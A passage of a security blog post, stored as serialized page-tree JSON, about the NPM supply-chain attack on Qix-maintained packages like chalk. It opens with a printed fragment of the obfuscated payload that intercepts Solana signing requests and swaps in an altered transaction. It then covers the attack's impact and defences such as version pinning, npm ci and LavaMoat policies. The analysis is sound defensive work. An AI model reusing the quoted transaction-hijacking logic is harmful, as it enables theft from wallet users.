226343",{"type":23,"tag":213,"props":98493,"children":98494},{"style":220},[98495],{"type":28,"value":98496},") {}\n",{"type":23,"tag":213,"props":98498,"children":98499},{"class":215,"line":551},[98500,98504,98508],{"type":23,"tag":213,"props":98501,"children":98502},{"style":220},[98503],{"type":28,"value":46925},{"type":23,"tag":213,"props":98505,"children":98506},{"style":1362},[98507],{"type":28,"value":3412},{"type":23,"tag":213,"props":98509,"children":98510},{"style":220},[98511],{"type":28,"value":1375},{"type":23,"tag":213,"props":98513,"children":98514},{"class":215,"line":570},[98515,98519],{"type":23,"tag":213,"props":98516,"children":98517},{"style":1362},[98518],{"type":28,"value":31450},{"type":23,"tag":213,"props":98520,"children":98521},{"style":220},[98522],{"type":28,"value":78619},{"type":23,"tag":213,"props":98524,"children":98525},{"class":215,"line":655},[98526,98531,98535,98539,98543,98547,98552],{"type":23,"tag":213,"props":98527,"children":98528},{"style":220},[98529],{"type":28,"value":98530}," (",{"type":23,"tag":213,"props":98532,"children":98533},{"style":268},[98534],{"type":28,"value":98300},{"type":23,"tag":213,"props":98536,"children":98537},{"style":220},[98538],{"type":28,"value":124},{"type":23,"tag":213,"props":98540,"children":98541},{"style":268},[98542],{"type":28,"value":38370},{"type":23,"tag":213,"props":98544,"children":98545},{"style":274},[98546],{"type":28,"value":31478},{"type":23,"tag":213,"props":98548,"children":98549},{"style":246},[98550],{"type":28,"value":98551}," 'solana_signTransaction'",{"type":23,"tag":213,"props":98553,"children":98554},{"style":274},[98555],{"type":28,"value":98556}," ||\n",{"type":23,"tag":213,"props":98558,"children":98559},{"class":215,"line":1176},[98560,98565,98569,98573,98577,98582,98586],{"type":23,"tag":213,"props":98561,"children":98562},{"style":268},[98563],{"type":28,"value":98564}," _0x2c3d7e",{"type":23,"tag":213,"props":98566,"children":98567},{"style":220},[98568],{"type":28,"value":124},{"type":23,"tag":213,"props":98570,"children":98571},{"style":268},[98572],{"type":28,"value":38370},{"type":23,"tag":213,"props":98574,"children":98575},{"style":274},[98576],{"type":28,"value":31478},{"type":23,"tag":213,"props":98578,"children":98579},{"style":246},[98580],{"type":28,"value":98581}," 'solana_signAndSendTransaction'",{"type":23,"tag":213,"props":98583,"children":98584},{"style":220},[98585],{"type":28,"value":298},{"type":23,"tag":213,"props":98587,"children":98588},{"style":274},[98589],{"type":28,"value":83868},{"type":23,"tag":213,"props":98591,"children":98592},{"class":215,"line":1202},[98593,98597,98601,98605],{"type":23,"tag":213,"props":98594,"children":98595},{"style":268},[98596],{"type":28,"value":98439},{"type":23,"tag":213,"props":98598,"children":98599},{"style":220},[98600],{"type":28,"value":124},{"type":23,"tag":213,"props":98602,"children":98603},{"style":268},[98604],{"type":28,"value":98335},{"type":23,"tag":213,"props":98606,"children":98607},{"style":274},[98608],{"type":28,"value":52737},{"type":23,"tag":213,"props":98610,"children":98611},{"class":215,"line":1758},[98612,98616,98620,98624,98628,98632],{"type":23,"tag":213,"props":98613,"children":98614},{"style":268},[98615],{"type":28,"value":98439},{"type":23,"tag":213,"props":98617,"children":98618},{"style":220},[98619],{"type":28,"value":124},{"type":23,"tag":213,"props":98621,"children":98622},{"style":268},[98623],{"type":28,"value":98335},{"type":23,"tag":213,"props":98625,"children":98626},{"style":220},[98627],{"type":28,"value":3821},{"type":23,"tag":213,"props":98629,"children":98630},{"style":514},[98631],{"type":28,"value":4116},{"type":23,"tag":213,"props":98633,"children":98634},{"style":220},[98635],{"type":28,"value":11856},{"type":23,"tag":213,"props":98637,"children":98638},{"class":215,"line":1767},[98639],{"type":23,"tag":213,"props":98640,"children":98641},{"style":220},[98642],{"type":28,"value":98643}," ) {\n",{"type":23,"tag":213,"props":98645,"children":98646},{"class":215,"line":1789},[98647,98651],{"type":23,"tag":213,"props":98648,"children":98649},{"style":1362},[98650],{"type":28,"value":70035},{"type":23,"tag":213,"props":98652,"children":98653},{"style":220},[98654],{"type":28,"value":1375},{"type":23,"tag":213,"props":98656,"children":98657},{"class":215,"line":1812},[98658,98662,98667,98671,98675,98679,98683,98687,98691],{"type":23,"tag":213,"props":98659,"children":98660},{"style":230},[98661],{"type":28,"value":8162},{"type":23,"tag":213,"props":98663,"children":98664},{"style":268},[98665],{"type":28,"value":98666}," _0x5ad975",{"type":23,"tag":213,"props":98668,"children":98669},{"style":274},[98670],{"type":28,"value":511},{"type":23,"tag":213,"props":98672,"children":98673},{"style":268},[98674],{"type":28,"value":98326},{"type":23,"tag":213,"props":98676,"children":98677},{"style":220},[98678],{"type":28,"value":124},{"type":23,"tag":213,"props":98680,"children":98681},{"style":268},[98682],{"type":28,"value":98335},{"type":23,"tag":213,"props":98684,"children":98685},{"style":220},[98686],{"type":28,"value":3821},{"type":23,"tag":213,"props":98688,"children":98689},{"style":514},[98690],{"type":28,"value":4116},{"type":23,"tag":213,"props":98692,"children":98693},{"style":220},[98694],{"type":28,"value":31630},{"type":23,"tag":213,"props":98696,"children":98697},{"class":215,"line":1838},[98698,98702,98706,98711,98715,98720],{"type":23,"tag":213,"props":98699,"children":98700},{"style":1362},[98701],{"type":28,"value":39344},{"type":23,"tag":213,"props":98703,"children":98704},{"style":220},[98705],{"type":28,"value":400},{"type":23,"tag":213,"props":98707,"children":98708},{"style":268},[98709],{"type":28,"value":98710},"_0x5ad975",{"type":23,"tag":213,"props":98712,"children":98713},{"style":220},[98714],{"type":28,"value":124},{"type":23,"tag":213,"props":98716,"children":98717},{"style":268},[98718],{"type":28,"value":98719},"transaction",{"type":23,"tag":213,"props":98721,"children":98722},{"style":220},[98723],{"type":28,"value":14870},{"type":23,"tag":213,"props":98725,"children":98726},{"class":215,"line":1851},[98727,98732,98736,98740,98744,98748],{"type":23,"tag":213,"props":98728,"children":98729},{"style":268},[98730],{"type":28,"value":98731}," _0x5ad975",{"type":23,"tag":213,"props":98733,"children":98734},{"style":274},[98735],{"type":28,"value":511},{"type":23,"tag":213,"props":98737,"children":98738},{"style":268},[98739],{"type":28,"value":98666},{"type":23,"tag":213,"props":98741,"children":98742},{"style":220},[98743],{"type":28,"value":124},{"type":23,"tag":213,"props":98745,"children":98746},{"style":268},[98747],{"type":28,"value":98719},{"type":23,"tag":213,"props":98749,"children":98750},{"style":220},[98751],{"type":28,"value":313},{"type":23,"tag":213,"props":98753,"children":98754},{"class":215,"line":1864},[98755],{"type":23,"tag":213,"props":98756,"children":98757},{"style":220},[98758],{"type":28,"value":12746},{"type":23,"tag":213,"props":98760,"children":98761},{"class":215,"line":1890},[98762,98766,98771,98775,98779,98783,98787,98791,98795],{"type":23,"tag":213,"props":98763,"children":98764},{"style":230},[98765],{"type":28,"value":31603},{"type":23,"tag":213,"props":98767,"children":98768},{"style":268},[98769],{"type":28,"value":98770}," _0x5dbe63",{"type":23,"tag":213,"props":98772,"children":98773},{"style":274},[98774],{"type":28,"value":511},{"type":23,"tag":213,"props":98776,"children":98777},{"style":257},[98778],{"type":28,"value":98395},{"type":23,"tag":213,"props":98780,"children":98781},{"style":220},[98782],{"type":28,"value":265},{"type":23,"tag":213,"props":98784,"children":98785},{"style":268},[98786],{"type":28,"value":98710},{"type":23,"tag":213,"props":98788,"children":98789},{"style":220},[98790],{"type":28,"value":424},{"type":23,"tag":213,"props":98792,"children":98793},{"style":230},[98794],{"type":28,"value":2499},{"type":23,"tag":213,"props":98796,"children":98797},{"style":220},[98798],{"type":28,"value":2867},{"type":23,"tag":213,"props":98800,"children":98801},{"class":215,"line":1899},[98802,98806,98810,98814,98818,98822,98826,98830,98834,98838],{"type":23,"tag":213,"props":98803,"children":98804},{"style":1362},[98805],{"type":28,"value":39344},{"type":23,"tag":213,"props":98807,"children":98808},{"style":220},[98809],{"type":28,"value":400},{"type":23,"tag":213,"props":98811,"children":98812},{"style":268},[98813],{"type":28,"value":98300},{"type":23,"tag":213,"props":98815,"children":98816},{"style":220},[98817],{"type":28,"value":124},{"type":23,"tag":213,"props":98819,"children":98820},{"style":268},[98821],{"type":28,"value":98335},{"type":23,"tag":213,"props":98823,"children":98824},{"style":220},[98825],{"type":28,"value":3821},{"type":23,"tag":213,"props":98827,"children":98828},{"style":514},[98829],{"type":28,"value":4116},{"type":23,"tag":213,"props":98831,"children":98832},{"style":220},[98833],{"type":28,"value":50401},{"type":23,"tag":213,"props":98835,"children":98836},{"style":268},[98837],{"type":28,"value":98719},{"type":23,"tag":213,"props":98839,"children":98840},{"style":220},[98841],{"type":28,"value":14870},{"type":23,"tag":213,"props":98843,"children":98844},{"class":215,"line":1912},[98845,98850,98854,98858,98862,98866,98870,98874,98878,98882],{"type":23,"tag":213,"props":98846,"children":98847},{"style":268},[98848],{"type":28,"value":98849}," _0x2c3d7e",{"type":23,"tag":213,"props":98851,"children":98852},{"style":220},[98853],{"type":28,"value":124},{"type":23,"tag":213,"props":98855,"children":98856},{"style":268},[98857],{"type":28,"value":98335},{"type":23,"tag":213,"props":98859,"children":98860},{"style":220},[98861],{"type":28,"value":3821},{"type":23,"tag":213,"props":98863,"children":98864},{"style":514},[98865],{"type":28,"value":4116},{"type":23,"tag":213,"props":98867,"children":98868},{"style":220},[98869],{"type":28,"value":50401},{"type":23,"tag":213,"props":98871,"children":98872},{"style":268},[98873],{"type":28,"value":98719},{"type":23,"tag":213,"props":98875,"children":98876},{"style":274},[98877],{"type":28,"value":511},{"type":23,"tag":213,"props":98879,"children":98880},{"style":268},[98881],{"type":28,"value":98770},{"type":23,"tag":213,"props":98883,"children":98884},{"style":220},[98885],{"type":28,"value":313},{"type":23,"tag":213,"props":98887,"children":98888},{"class":215,"line":1921},[98889,98893,98897],{"type":23,"tag":213,"props":98890,"children":98891},{"style":220},[98892],{"type":28,"value":38997},{"type":23,"tag":213,"props":98894,"children":98895},{"style":1362},[98896],{"type":28,"value":3412},{"type":23,"tag":213,"props":98898,"children":98899},{"style":220},[98900],{"type":28,"value":1375},{"type":23,"tag":213,"props":98902,"children":98903},{"class":215,"line":3879},[98904,98908,98912,98916,98920,98924,98928,98932,98936],{"type":23,"tag":213,"props":98905,"children":98906},{"style":268},[98907],{"type":28,"value":98849},{"type":23,"tag":213,"props":98909,"children":98910},{"style":220},[98911],{"type":28,"value":124},{"type":23,"tag":213,"props":98913,"children":98914},{"style":268},[98915],{"type":28,"value":98335},{"type":23,"tag":213,"props":98917,"children":98918},{"style":220},[98919],{"type":28,"value":3821},{"type":23,"tag":213,"props":98921,"children":98922},{"style":514},[98923],{"type":28,"value":4116},{"type":23,"tag":213,"props":98925,"children":98926},{"style":220},[98927],{"type":28,"value":8746},{"type":23,"tag":213,"props":98929,"children":98930},{"style":274},[98931],{"type":28,"value":3190},{"type":23,"tag":213,"props":98933,"children":98934},{"style":268},[98935],{"type":28,"value":98770},{"type":23,"tag":213,"props":98937,"children":98938},{"style":220},[98939],{"type":28,"value":313},{"type":23,"tag":213,"props":98941,"children":98942},{"class":215,"line":3887},[98943],{"type":23,"tag":213,"props":98944,"children":98945},{"style":220},[98946],{"type":28,"value":12746},{"type":23,"tag":213,"props":98948,"children":98949},{"class":215,"line":3918},[98950,98954,98958,98962,98967],{"type":23,"tag":213,"props":98951,"children":98952},{"style":220},[98953],{"type":28,"value":1440},{"type":23,"tag":213,"props":98955,"children":98956},{"style":1362},[98957],{"type":28,"value":48463},{"type":23,"tag":213,"props":98959,"children":98960},{"style":220},[98961],{"type":28,"value":400},{"type":23,"tag":213,"props":98963,"children":98964},{"style":268},[98965],{"type":28,"value":98966},"_0x4b99fd",{"type":23,"tag":213,"props":98968,"children":98969},{"style":220},[98970],{"type":28,"value":98496},{"type":23,"tag":213,"props":98972,"children":98973},{"class":215,"line":3926},[98974],{"type":23,"tag":213,"props":98975,"children":98976},{"style":220},[98977],{"type":28,"value":5964},{"type":23,"tag":213,"props":98979,"children":98980},{"class":215,"line":3986},[98981],{"type":23,"tag":213,"props":98982,"children":98983},{"style":220},[98984],{"type":28,"value":1208},{"type":23,"tag":9693,"props":98986,"children":98988},{"id":98987},"impact-of-the-attack",[98989],{"type":28,"value":98990},"Impact of the Attack",{"type":23,"tag":24,"props":98992,"children":98993},{},[98994],{"type":28,"value":98995},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":47,"props":98997,"children":98999},{"id":98998},"why-it-will-happen-again",[99000],{"type":28,"value":99001},"Why It Will Happen Again",{"type":23,"tag":24,"props":99003,"children":99004},{},[99005],{"type":28,"value":99006},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":99008,"children":99009},{},[99010],{"type":28,"value":99011},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":47,"props":99013,"children":99015},{"id":99014},"what-developers-can-do",[99016],{"type":28,"value":99017},"What Developers Can Do",{"type":23,"tag":24,"props":99019,"children":99020},{},[99021],{"type":28,"value":99022},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":9693,"props":99024,"children":99026},{"id":99025},"_1-version-pinning-in-packagejson",[99027,99029],{"type":28,"value":99028},"1. Version pinning in ",{"type":23,"tag":209,"props":99030,"children":99032},{"className":99031},[],[99033],{"type":28,"value":99034},"package.json",{"type":23,"tag":24,"props":99036,"children":99037},{},[99038],{"type":28,"value":99039},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":99041,"children":99042},{},[99043,99045,99051,99053,99058,99060,99065],{"type":28,"value":99044},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":209,"props":99046,"children":99048},{"className":99047},[],[99049],{"type":28,"value":99050},"npm install",{"type":28,"value":99052},". To pin it, just make sure to remove the caret ",{"type":23,"tag":209,"props":99054,"children":99056},{"className":99055},[],[99057],{"type":28,"value":48986},{"type":28,"value":99059}," symbol before the version in ",{"type":23,"tag":209,"props":99061,"children":99063},{"className":99062},[],[99064],{"type":28,"value":99034},{"type":28,"value":277},{"type":23,"tag":202,"props":99067,"children":99069},{"code":99068,"language":34054,"meta":7,"className":34052,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[99070],{"type":23,"tag":209,"props":99071,"children":99072},{"__ignoreMap":7},[99073,99094,99115,99136],{"type":23,"tag":213,"props":99074,"children":99075},{"class":215,"line":216},[99076,99081,99085,99090],{"type":23,"tag":213,"props":99077,"children":99078},{"style":246},[99079],{"type":28,"value":99080},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":213,"props":99082,"children":99083},{"style":220},[99084],{"type":28,"value":15390},{"type":23,"tag":213,"props":99086,"children":99087},{"style":246},[99088],{"type":28,"value":99089},"\"1.23.1\"",{"type":23,"tag":213,"props":99091,"children":99092},{"style":220},[99093],{"type":28,"value":944},{"type":23,"tag":213,"props":99095,"children":99096},{"class":215,"line":226},[99097,99102,99106,99111],{"type":23,"tag":213,"props":99098,"children":99099},{"style":246},[99100],{"type":28,"value":99101},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":213,"props":99103,"children":99104},{"style":220},[99105],{"type":28,"value":15390},{"type":23,"tag":213,"props":99107,"children":99108},{"style":246},[99109],{"type":28,"value":99110},"\"8.3.0\"",{"type":23,"tag":213,"props":99112,"children":99113},{"style":220},[99114],{"type":28,"value":944},{"type":23,"tag":213,"props":99116,"children":99117},{"class":215,"line":524},[99118,99123,99127,99132],{"type":23,"tag":213,"props":99119,"children":99120},{"style":246},[99121],{"type":28,"value":99122},"\"@react-native-community/netinfo\"",{"type":23,"tag":213,"props":99124,"children":99125},{"style":220},[99126],{"type":28,"value":15390},{"type":23,"tag":213,"props":99128,"children":99129},{"style":246},[99130],{"type":28,"value":99131},"\"11.4.1\"",{"type":23,"tag":213,"props":99133,"children":99134},{"style":220},[99135],{"type":28,"value":944},{"type":23,"tag":213,"props":99137,"children":99138},{"class":215,"line":533},[99139,99144,99148],{"type":23,"tag":213,"props":99140,"children":99141},{"style":246},[99142],{"type":28,"value":99143},"\"@react-native-picker/picker\"",{"type":23,"tag":213,"props":99145,"children":99146},{"style":220},[99147],{"type":28,"value":15390},{"type":23,"tag":213,"props":99149,"children":99150},{"style":246},[99151],{"type":28,"value":99152},"\"2.11.0\"\n",{"type":23,"tag":9693,"props":99154,"children":99156},{"id":99155},"_2-use-npm-ci",[99157,99159],{"type":28,"value":99158},"2. Use ",{"type":23,"tag":209,"props":99160,"children":99162},{"className":99161},[],[99163],{"type":28,"value":99164},"npm ci",{"type":23,"tag":24,"props":99166,"children":99167},{},[99168,99173,99175,99181,99183,99188],{"type":23,"tag":209,"props":99169,"children":99171},{"className":99170},[],[99172],{"type":28,"value":99164},{"type":28,"value":99174}," uses the dependency versions from ",{"type":23,"tag":209,"props":99176,"children":99178},{"className":99177},[],[99179],{"type":28,"value":99180},"package-lock.json",{"type":28,"value":99182}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":209,"props":99184,"children":99186},{"className":99185},[],[99187],{"type":28,"value":99050},{"type":28,"value":99189}," when adding a new package or updating an existing one.",{"type":23,"tag":9693,"props":99191,"children":99193},{"id":99192},"_3-implement-lavamoat",[99194,99196],{"type":28,"value":99195},"3. Implement ",{"type":23,"tag":36,"props":99197,"children":99200},{"href":99198,"rel":99199},"https://github.com/LavaMoat/LavaMoat/tree/main",[40],[99201],{"type":23,"tag":95,"props":99202,"children":99203},{},[99204],{"type":28,"value":99205},"Lavamoat",{"type":23,"tag":24,"props":99207,"children":99208},{},[99209],{"type":28,"value":99210},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":99212,"children":99213},{},[99214],{"type":28,"value":99215},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":202,"props":99217,"children":99219},{"code":99218,"language":34054,"meta":7,"className":34052,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[99220],{"type":23,"tag":209,"props":99221,"children":99222},{"__ignoreMap":7},[99223,99235,99247,99258,99274,99281,99288,99300,99311,99331,99347,99354,99365,99385,99401,99408,99415],{"type":23,"tag":213,"props":99224,"children":99225},{"class":215,"line":216},[99226,99231],{"type":23,"tag":213,"props":99227,"children":99228},{"style":246},[99229],{"type":28,"value":99230},"\"resources\"",{"type":23,"tag":213,"props":99232,"children":99233},{"style":220},[99234],{"type":28,"value":37080},{"type":23,"tag":213,"props":99236,"children":99237},{"class":215,"line":226},[99238,99243],{"type":23,"tag":213,"props":99239,"children":99240},{"style":268},[99241],{"type":28,"value":99242}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":213,"props":99244,"children":99245},{"style":220},[99246],{"type":28,"value":37080},{"type":23,"tag":213,"props":99248,"children":99249},{"class":215,"line":524},[99250,99254],{"type":23,"tag":213,"props":99251,"children":99252},{"style":268},[99253],{"type":28,"value":37088},{"type":23,"tag":213,"props":99255,"children":99256},{"style":220},[99257],{"type":28,"value":37080},{"type":23,"tag":213,"props":99259,"children":99260},{"class":215,"line":533},[99261,99266,99270],{"type":23,"tag":213,"props":99262,"children":99263},{"style":268},[99264],{"type":28,"value":99265}," \"TextEncoder\"",{"type":23,"tag":213,"props":99267,"children":99268},{"style":220},[99269],{"type":28,"value":15390},{"type":23,"tag":213,"props":99271,"children":99272},{"style":230},[99273],{"type":28,"value":37249},{"type":23,"tag":213,"props":99275,"children":99276},{"class":215,"line":543},[99277],{"type":23,"tag":213,"props":99278,"children":99279},{"style":220},[99280],{"type":28,"value":12746},{"type":23,"tag":213,"props":99282,"children":99283},{"class":215,"line":551},[99284],{"type":23,"tag":213,"props":99285,"children":99286},{"style":220},[99287],{"type":28,"value":2249},{"type":23,"tag":213,"props":99289,"children":99290},{"class":215,"line":570},[99291,99296],{"type":23,"tag":213,"props":99292,"children":99293},{"style":268},[99294],{"type":28,"value":99295}," \"@ethereumjs/util\"",{"type":23,"tag":213,"props":99297,"children":99298},{"style":220},[99299],{"type":28,"value":37080},{"type":23,"tag":213,"props":99301,"children":99302},{"class":215,"line":655},[99303,99307],{"type":23,"tag":213,"props":99304,"children":99305},{"style":268},[99306],{"type":28,"value":37088},{"type":23,"tag":213,"props":99308,"children":99309},{"style":220},[99310],{"type":28,"value":37080},{"type":23,"tag":213,"props":99312,"children":99313},{"class":215,"line":1176},[99314,99319,99323,99327],{"type":23,"tag":213,"props":99315,"children":99316},{"style":268},[99317],{"type":28,"value":99318}," \"console.warn\"",{"type":23,"tag":213,"props":99320,"children":99321},{"style":220},[99322],{"type":28,"value":15390},{"type":23,"tag":213,"props":99324,"children":99325},{"style":230},[99326],{"type":28,"value":1710},{"type":23,"tag":213,"props":99328,"children":99329},{"style":220},[99330],{"type":28,"value":944},{"type":23,"tag":213,"props":99332,"children":99333},{"class":215,"line":1202},[99334,99339,99343],{"type":23,"tag":213,"props":99335,"children":99336},{"style":268},[99337],{"type":28,"value":99338}," \"fetch\"",{"type":23,"tag":213,"props":99340,"children":99341},{"style":220},[99342],{"type":28,"value":15390},{"type":23,"tag":213,"props":99344,"children":99345},{"style":230},[99346],{"type":28,"value":37249},{"type":23,"tag":213,"props":99348,"children":99349},{"class":215,"line":1758},[99350],{"type":23,"tag":213,"props":99351,"children":99352},{"style":220},[99353],{"type":28,"value":37257},{"type":23,"tag":213,"props":99355,"children":99356},{"class":215,"line":1767},[99357,99361],{"type":23,"tag":213,"props":99358,"children":99359},{"style":268},[99360],{"type":28,"value":37265},{"type":23,"tag":213,"props":99362,"children":99363},{"style":220},[99364],{"type":28,"value":37080},{"type":23,"tag":213,"props":99366,"children":99367},{"class":215,"line":1789},[99368,99373,99377,99381],{"type":23,"tag":213,"props":99369,"children":99370},{"style":268},[99371],{"type":28,"value":99372}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":213,"props":99374,"children":99375},{"style":220},[99376],{"type":28,"value":15390},{"type":23,"tag":213,"props":99378,"children":99379},{"style":230},[99380],{"type":28,"value":1710},{"type":23,"tag":213,"props":99382,"children":99383},{"style":220},[99384],{"type":28,"value":944},{"type":23,"tag":213,"props":99386,"children":99387},{"class":215,"line":1812},[99388,99393,99397],{"type":23,"tag":213,"props":99389,"children":99390},{"style":268},[99391],{"type":28,"value":99392}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":213,"props":99394,"children":99395},{"style":220},[99396],{"type":28,"value":15390},{"type":23,"tag":213,"props":99398,"children":99399},{"style":230},[99400],{"type":28,"value":37249},{"type":23,"tag":213,"props":99402,"children":99403},{"class":215,"line":1838},[99404],{"type":23,"tag":213,"props":99405,"children":99406},{"style":220},[99407],{"type":28,"value":12746},{"type":23,"tag":213,"props":99409,"children":99410},{"class":215,"line":1851},[99411],{"type":23,"tag":213,"props":99412,"children":99413},{"style":220},[99414],{"type":28,"value":2875},{"type":23,"tag":213,"props":99416,"children":99417},{"class":215,"line":1864},[99418],{"type":23,"tag":213,"props":99419,"children":99420},{"style":220},[99421],{"type":28,"value":1208},{"type":23,"tag":24,"props":99423,"children":99424},{},[99425,99427,99433,99435,99441,99442,99447,99449,99455,99456,99462],{"type":28,"value":99426},"In this example, it restricts the ",{"type":23,"tag":209,"props":99428,"children":99430},{"className":99429},[],[99431],{"type":28,"value":99432},"@ethereumjs/util",{"type":28,"value":99434}," package to use only ",{"type":23,"tag":209,"props":99436,"children":99438},{"className":99437},[],[99439],{"type":28,"value":99440},"console.warn",{"type":28,"value":1466},{"type":23,"tag":209,"props":99443,"children":99445},{"className":99444},[],[99446],{"type":28,"value":34151},{"type":28,"value":99448}," functions, and to include only ",{"type":23,"tag":209,"props":99450,"children":99452},{"className":99451},[],[99453],{"type":28,"value":99454},"@ethereumjs/rlp",{"type":28,"value":1466},{"type":23,"tag":209,"props":99457,"children":99459},{"className":99458},[],[99460],{"type":28,"value":99461},"ethereum-cryptography",{"type":28,"value":99463}," packages.",{"type":23,"tag":24,"props":99465,"children":99466},{},[99467],{"type":28,"value":99468},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":99470,"children":99471},{},[99472,99474,99480],{"type":28,"value":99473},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":36,"props":99475,"children":99478},{"href":99476,"rel":99477},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[40],[99479],{"type":28,"value":37435},{"type":28,"value":124},{"type":23,"tag":9693,"props":99482,"children":99484},{"id":99483},"lavamoat-vs-qix-malware",[99485],{"type":28,"value":99486},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":99488,"children":99489},{},[99490,99492,99497],{"type":28,"value":99491},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":209,"props":99493,"children":99495},{"className":99494},[],[99496],{"type":28,"value":97337},{"type":28,"value":99498},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":131,"props":99500,"children":99501},{},[99502,99514,99525,99536],{"type":23,"tag":135,"props":99503,"children":99504},{},[99505,99507,99512],{"type":28,"value":99506},"Replace ",{"type":23,"tag":209,"props":99508,"children":99510},{"className":99509},[],[99511],{"type":28,"value":34151},{"type":28,"value":99513}," function to a custom one",{"type":23,"tag":135,"props":99515,"children":99516},{},[99517,99519],{"type":28,"value":99518},"Access ",{"type":23,"tag":209,"props":99520,"children":99522},{"className":99521},[],[99523],{"type":28,"value":99524},"window.ethereum",{"type":23,"tag":135,"props":99526,"children":99527},{},[99528,99530,99535],{"type":28,"value":99529},"Call original ",{"type":23,"tag":209,"props":99531,"children":99533},{"className":99532},[],[99534],{"type":28,"value":34151},{"type":28,"value":38271},{"type":23,"tag":135,"props":99537,"children":99538},{},[99539],{"type":28,"value":99540},"Plus other actions not relevant here",{"type":23,"tag":24,"props":99542,"children":99543},{},[99544,99546,99552],{"type":28,"value":99545},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":209,"props":99547,"children":99549},{"className":99548},[],[99550],{"type":28,"value":99551},"chalk 5.6.0",{"type":28,"value":99553}," (non-malicious version) it would look like this:",{"type":23,"tag":202,"props":99555,"children":99557},{"code":99556,"language":34054,"meta":7,"className":34052,"style":7},"\"chalk\": {\n \"globals\": {\n \"navigator.userAgent\": true,\n \"navigator.userAgentData\": true\n }\n },\n",[99558],{"type":23,"tag":209,"props":99559,"children":99560},{"__ignoreMap":7},[99561,99573,99584,99604,99620,99627],{"type":23,"tag":213,"props":99562,"children":99563},{"class":215,"line":216},[99564,99569],{"type":23,"tag":213,"props":99565,"children":99566},{"style":246},[99567],{"type":28,"value":99568},"\"chalk\"",{"type":23,"tag":213,"props":99570,"children":99571},{"style":220},[99572],{"type":28,"value":37080},{"type":23,"tag":213,"props":99574,"children":99575},{"class":215,"line":226},[99576,99580],{"type":23,"tag":213,"props":99577,"children":99578},{"style":268},[99579],{"type":28,"value":37088},{"type":23,"tag":213,"props":99581,"children":99582},{"style":220},[99583],{"type":28,"value":37080},{"type":23,"tag":213,"props":99585,"children":99586},{"class":215,"line":524},[99587,99592,99596,99600],{"type":23,"tag":213,"props":99588,"children":99589},{"style":268},[99590],{"type":28,"value":99591}," \"navigator.userAgent\"",{"type":23,"tag":213,"props":99593,"children":99594},{"style":220},[99595],{"type":28,"value":15390},{"type":23,"tag":213,"props":99597,"children":99598},{"style":230},[99599],{"type":28,"value":1710},{"type":23,"tag":213,"props":99601,"children":99602},{"style":220},[99603],{"type":28,"value":944},{"type":23,"tag":213,"props":99605,"children":99606},{"class":215,"line":533},[99607,99612,99616],{"type":23,"tag":213,"props":99608,"children":99609},{"style":268},[99610],{"type":28,"value":99611}," \"navigator.userAgentData\"",{"type":23,"tag":213,"props":99613,"children":99614},{"style":220},[99615],{"type":28,"value":15390},{"type":23,"tag":213,"props":99617,"children":99618},{"style":230},[99619],{"type":28,"value":37249},{"type":23,"tag":213,"props":99621,"children":99622},{"class":215,"line":543},[99623],{"type":23,"tag":213,"props":99624,"children":99625},{"style":220},[99626],{"type":28,"value":12746},{"type":23,"tag":213,"props":99628,"children":99629},{"class":215,"line":551},[99630],{"type":23,"tag":213,"props":99631,"children":99632},{"style":220},[99633],{"type":28,"value":2249},{"type":23,"tag":24,"props":99635,"children":99636},{},[99637,99639,99645],{"type":28,"value":99638},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":209,"props":99640,"children":99642},{"className":99641},[],[99643],{"type":28,"value":99644},"navigator",{"type":28,"value":124},{"type":23,"tag":24,"props":99647,"children":99648},{},[99649,99651,99657],{"type":28,"value":99650},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":209,"props":99652,"children":99654},{"className":99653},[],[99655],{"type":28,"value":99656},"chalk 